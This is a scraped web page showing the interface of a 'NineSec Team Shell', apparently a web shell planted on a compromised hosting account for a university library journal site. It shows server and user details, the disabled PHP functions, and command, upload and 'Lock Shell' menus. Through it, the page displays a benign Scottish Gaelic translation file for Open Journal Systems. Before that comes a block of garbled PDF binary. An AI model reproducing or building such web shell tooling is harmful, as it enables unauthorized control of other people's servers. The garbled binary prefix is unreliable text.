%PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.216.151
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/gd_GB/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/gd_GB/default.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-11-13 18:05+0000\n"
"Last-Translator: Michael Bauer <fios@igaidhlig.net>\n"
"Language-Team: Gaelic <http://translate.pkp.sfu.ca/projects/ojs/default/"
"gd_GB/>\n"
"Language: gd_GB\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=4; plural=(n==1 || n==11) ? 0 : (n==2 || n==12) ? 1 : "
"(n > 2 && n < 20) ? 2 : 3;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "default.contextSettings.emailSignature"
msgstr ""
"<br/>\n"
"________________________________________________________________________<br/>"
"\n"
"<a href=\"{$contextUrl}\">{$contextName}</a>"

msgid "default.groups.abbrev.subscriptionManager"
msgstr "SubM"

msgid "default.groups.abbrev.sectionEditor"
msgstr "SecE"

msgid "section.default.title"
msgstr "Artaigealan"

msgid "section.default.abbrev"
msgstr "ART"

msgid "section.default.policy"
msgstr "Poileasaidh bunaiteach na h-earrainn"

msgid "default.genres.article"
msgstr "Teacsa an artaigil"

msgid "default.contextSettings.checklist.notPreviouslyPublished"
msgstr ""
"Cha deach an tagradh fhoillseachadh roimhe agus chan eil e aig iris-leabhar "
"eile airson beachdachadh (no chaidh mìneachadh a thoirt seachad sna beachdan "
"dhan deasaiche)."

msgid "default.contextSettings.checklist.fileFormat"
msgstr "Tha am faidhle tagraidh san fhòrmat OpenOffice, Microsoft Word no RTF."

msgid "default.contextSettings.checklist.addressesLinked"
msgstr ""
"Far a bheil iad ri làimh, chaidh URLaichean airson nan reifreansan a thoirt "
"seachad."

msgid "default.contextSettings.checklist.submissionAppearance"
msgstr ""
"Tha an teacsa air beàrnadh singilte; a’ cleachdadh cruth-clò aig 12 phuing; "
"a’ cleachdadh clò Eadailteach seach fo-loidhnichean (ach ann an seòlaidhean "
"URL); agus tha gach dealbh, figear is clàr sna h-àitichean iomchaidh san "
"teacsa seach aig an deireadh."

msgid "default.contextSettings.checklist.bibliographicRequirements"
msgstr ""
"Tha an teacsa seo a’ leantainn nan riaghailtean san stiùireadh do dh’"
"ùghdaran a thaobh stoidhle is leabhar-eòlais."

msgid "default.contextSettings.privacyStatement"
msgstr ""
"<p>Cha chleachdar na h-ainmean is seòlaidhean puist-d a chuirear a-steach "
"air làrach an iris-leabhair seo ach airson amasan foillsichte an iris-"
"leabhair seo agus cha chuirear ri làimh pàrtaidh sam bith eile iad no airson "
"adhbhar sam bith eile.</p>"

msgid "default.contextSettings.openAccessPolicy"
msgstr ""
"Tha an t-iris-leabhar seo a’ toirt cothrom fosgailte air an t-susbaint ann a "
"chionn ’s gu bheil sinn dhen bheachd gun tig àrdachadh air eadar-mhalairt "
"eòlais eadar-nàiseanta ma chuirear rannsachadh ri làimh a’ phobaill gun "
"chuingeachadh."

msgid "default.contextSettings.forReaders"
msgstr ""
"Mholamaid do leughadairean clàradh airson seirbheis brathan foillseachadh an "
"iris-leabhair seo. Cleachd an ceangal <a href=\"{$indexUrl}/{$contextPath}/"
"user/register\">Clàraich</a> aig bàrr duilleag-dhachaigh an iris-leabhair. "
"Ma nì thu clàradh, gheibh thu clàr-innse gach iris ùr an iris-leabhair air a’"
" phost-d. Ri linn sin, ’s urrainn dhan iris-leabhar tagradh gu bheil ìre de "
"thaic no luchd-leughaidh aca. Faic <a href=\"{$indexUrl}/{$contextPath}/about/"
"submissions#privacyStatement\">poileasaidh prìobhaideachd</a> an iris-"
"leabhair a dhearbhas dha na leughadairean nach cleachd iad an ainmean is "
"seòlaidhean puist-d airson adhbhar sam bith eile."

msgid "default.contextSettings.forAuthors"
msgstr ""
"A bheil ùidh agad ann an com-pàirteachas san iris-leabhar seo? Mholamaid "
"dhut sùil a thoirt air an duilleag <a href=\"{$indexUrl}/{$contextPath}/"
"about\">Mun iris-leabhar seo</a> airson poileasaidh earrannan an iris-"
"leabhair agus air an <a href=\"{$indexUrl}/{$contextPath}/about/submissions#"
"authorGuidelines\">stiùireadh do dh’ùghdaran</a>. Feumaidh ùghdaran <a href="
"\"{$indexUrl}/{$contextPath}/user/register\">clàradh</a> aig an iris-leabhar "
"mus cuir iad tagradh no, ma tha iad clàraichte mu thràth, faodaidh iad <a "
"href=\"{$indexUrl}/index/login\">clàradh a-steach</a> agus tòiseachadh air "
"na còig ceuman a tha ri choileanadh."

msgid "default.contextSettings.forLibrarians"
msgstr ""
"Tha sinn a’ brosnachadh leabhar-lannaichean an t-iris-leabhar seo a chur am "
"measg iris-leabhraichean dealain na leabhar-lainn aca. A bharrachd air sin, "
"faodaidh leabhar-lannan an siostam foillseachaidh a tha stèidhichte air còd "
"fosgailte aig an iris-leabhar seo a chur air òstaireachd iad fhèin airson "
"buill nan roinnean aca a tha an sàs deasachadh iris-leabhraichean (faic <a "
"href=\"http://pkp.sfu.ca/ojs\">Open Journal Systems</a>)."

msgid "default.contextSettings.lockssLicense"
msgstr ""
"Tha an t-iris-leabhar seo a’ cleachdadh siostam LOCKSS airson siostam "
"tasglannachaidh sgaoilte a chruthachadh eadar na leabhar-lannan a tha a’ "
"gabhail pàirt agus bheir e comas dha na leabhar-lannan seo tasg-lannan buana "
"dhen iris-leabhar a chruthachadh a chùm glèidhidh is aisig. <a href=\""
"http://www.lockss.org/\">Barrachd…</a>"

msgid "default.contextSettings.clockssLicense"
msgstr ""
"Tha an t-iris-leabhar seo a’ cleachdadh siostam CLOCKSS airson siostam "
"tasglannachaidh sgaoilte a chruthachadh eadar na leabhar-lannan a tha a’ "
"gabhail pàirt agus bheir e comas dha na leabhar-lannan seo tasg-lannan buana "
"dhen iris-leabhar a chruthachadh a chùm glèidhidh is aisig. <a href=\""
"http://clockss.org/\">Barrachd…</a>"

msgid "default.groups.name.manager"
msgstr "Manaidsear an iris-leabhair"

msgid "default.groups.plural.manager"
msgstr "Manaidsearan an iris-leabhair"

msgid "default.groups.abbrev.manager"
msgstr "JM"

msgid "default.groups.name.editor"
msgstr "Deasaiche an iris-leabhair"

msgid "default.groups.plural.editor"
msgstr "Deasaichean an iris-leabhair"

msgid "default.groups.abbrev.editor"
msgstr "JE"

msgid "default.groups.name.guestEditor"
msgstr "Deasaiche aoigh"

msgid "default.groups.plural.guestEditor"
msgstr "Deasaichean aoigh"

msgid "default.groups.abbrev.guestEditor"
msgstr "GE"

msgid "default.groups.name.sectionEditor"
msgstr "Deasaiche na h-earrainn"

msgid "default.groups.plural.sectionEditor"
msgstr "Deasaichean na h-earrainn"

msgid "default.groups.name.subscriptionManager"
msgstr "Manaidsear an fho-sgrìobhaidh"

msgid "default.groups.plural.subscriptionManager"
msgstr "Manaidsearan an fho-sgrìobhaidh"

msgid "default.genres.researchInstrument"
msgstr "Ionnsramaid rannsachaidh"

msgid "default.genres.researchMaterials"
msgstr "Stuthan rannsachaidh"

msgid "default.genres.researchResults"
msgstr "Toraidhean rannsachaidh"

msgid "default.genres.transcripts"
msgstr "Tar-sgrìobhaidhean"

msgid "default.genres.dataAnalysis"
msgstr "Anailis dàta"

msgid "default.genres.dataSet"
msgstr "Seata dàta"

msgid "default.genres.sourceTexts"
msgstr "Teacsaichean tùsail"

msgid "default.groups.name.externalReviewer"
msgstr "Lèirmheasaiche"

msgid "default.groups.plural.externalReviewer"
msgstr "Lèirmheasaichean"

msgid "default.groups.abbrev.externalReviewer"
msgstr "R"

NineSec Team - 2022